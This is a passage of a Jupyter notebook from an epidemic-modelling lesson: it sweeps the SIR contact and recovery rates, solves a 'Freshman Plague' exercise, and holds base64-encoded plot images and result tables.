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\n", "text/plain": [ "<Figure size 504x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "plt.figure(figsize=(7, 4))\n", "\n", "for gamma in gamma_array:\n", " infected_sweep = sweep_beta(beta_array, gamma)\n", " label = 'gamma = ' + str(gamma)\n", " plot(infected_sweep, label=label)\n", " \n", "decorate(xlabel='Contact rate (beta)',\n", " ylabel='Fraction infected',\n", " loc='upper left')\n", "\n", "plt.legend(bbox_to_anchor=(1.02, 1.02))\n", "plt.tight_layout()\n", "savefig('figs/chap13-fig02.pdf')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Exercise:** Suppose the infectious period for the Freshman Plague is known to be 2 days on average, and suppose during one particularly bad year, 40% of the class is infected at some point. Estimate the time between contacts." ] }, { "cell_type": "code", "execution_count": 16, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>values</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0.1</th>\n", " <td>0.002736</td>\n", " </tr>\n", " <tr>\n", " <th>0.2</th>\n", " <td>0.007235</td>\n", " </tr>\n", " <tr>\n", " <th>0.3</th>\n", " <td>0.015929</td>\n", " </tr>\n", " <tr>\n", " <th>0.4</th>\n", " <td>0.038603</td>\n", " </tr>\n", " <tr>\n", " <th>0.5</th>\n", " <td>0.132438</td>\n", " </tr>\n", " <tr>\n", " <th>0.6</th>\n", " <td>0.346765</td>\n", " </tr>\n", " <tr>\n", " <th>0.7</th>\n", " <td>0.530585</td>\n", " </tr>\n", " <tr>\n", " <th>0.8</th>\n", " <td>0.661553</td>\n", " </tr>\n", " <tr>\n", " <th>0.9</th>\n", " <td>0.754595</td>\n", " </tr>\n", " <tr>\n", " <th>1.0</th>\n", " <td>0.821534</td>\n", " </tr>\n", " <tr>\n", " <th>1.1</th>\n", " <td>0.870219</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ "0.1 0.002736\n", "0.2 0.007235\n", "0.3 0.015929\n", "0.4 0.038603\n", "0.5 0.132438\n", "0.6 0.346765\n", "0.7 0.530585\n", "0.8 0.661553\n", "0.9 0.754595\n", "1.0 0.821534\n", "1.1 0.870219\n", "dtype: float64" ] }, "execution_count": 16, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Solution\n", "\n", "# Sweep beta with fixed gamma\n", "gamma = 1/2\n", "infected_sweep = sweep_beta(beta_array, gamma)" ] }, { "cell_type": "code", "execution_count": 17, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "array([0.62548698])" ] }, "execution_count": 17, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Solution\n", "\n", "# Interpolating by eye, we can see that the infection rate passes through 0.4\n", "# when beta is between 0.6 and 0.7\n", "# We can use the `crossings` function to interpolate more precisely\n", "# (although we don't know about it yet :)\n", "beta_estimate = crossings(infected_sweep, 0.4)" ] }, { "cell_type": "code", "execution_count": 18, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "array([1.59875429])" ] }, "execution_count": 18, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Solution\n", "\n", "# Time between contacts is 1/beta\n", "time_between_contacts = 1/beta_estimate" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## SweepFrame\n", "\n", "The following sweeps two parameters and stores the results in a `SweepFrame`" ] }, { "cell_type": "code", "execution_count": 19, "metadata": {}, "outputs": [], "source": [ "def sweep_parameters(beta_array, gamma_array):\n", " \"\"\"Sweep a range of values for beta and gamma.\n", " \n", " beta_array: array of infection rates\n", " gamma_array: array of recovery rates\n", " \n", " returns: SweepFrame with one row for each beta\n", " and one column for each gamma\n", " \"\"\"\n", " frame = SweepFrame(columns=gamma_array)\n", " for gamma in gamma_array:\n", " frame[gamma] = sweep_beta(beta_array, gamma)\n", " return frame" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Here's what the `SweepFrame` look like." ] }, { "cell_type": "code", "execution_count": 20, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>0.2</th>\n", " <th>0.4</th>\n", " <th>0.6</th>\n", " <th>0.8</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0.1</th>\n", " <td>0.010756</td>\n", " <td>0.003642</td>\n", " <td>0.002191</td>\n", " <td>0.001567</td>\n", " </tr>\n", " <tr>\n", " <th>0.2</th>\n", " <td>0.118984</td>\n", " <td>0.010763</td>\n", " <td>0.005447</td>\n", " <td>0.003644</td>\n", " </tr>\n", " <tr>\n", " <th>0.3</th>\n", " <td>0.589095</td>\n", " <td>0.030185</td>\n", " <td>0.010771</td>\n", " <td>0.006526</td>\n", " </tr>\n", " <tr>\n", " <th>0.4</th>\n", " <td>0.801339</td>\n", " <td>0.131563</td>\n", " <td>0.020917</td>\n", " <td>0.010780</td>\n", " </tr>\n", " <tr>\n", " <th>0.5</th>\n", " <td>0.896577</td>\n", " <td>0.396409</td>\n", " <td>0.046140</td>\n", " <td>0.017640</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " 0.2 0.4 0.6 0.8\n", "0.1 0.010756 0.003642 0.002191 0.001567\n", "0.2 0.118984 0.010763 0.005447 0.003644\n", "0.3 0.589095 0.030185 0.010771 0.006526\n", "0.4 0.801339 0.131563 0.020917 0.010780\n", "0.5 0.896577 0.396409 0.046140 0.017640" ] }, "execution_count": 20, "metadata": {}, "output_type": "execute_result" } ], "source": [ "frame = sweep_parameters(beta_array, gamma_array)\n", "frame.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "And here's how we can plot the results." ] }, { "cell_type": "code", "execution_count": 21, "metadata": {}, "outputs": [ { "data": { "image/png": "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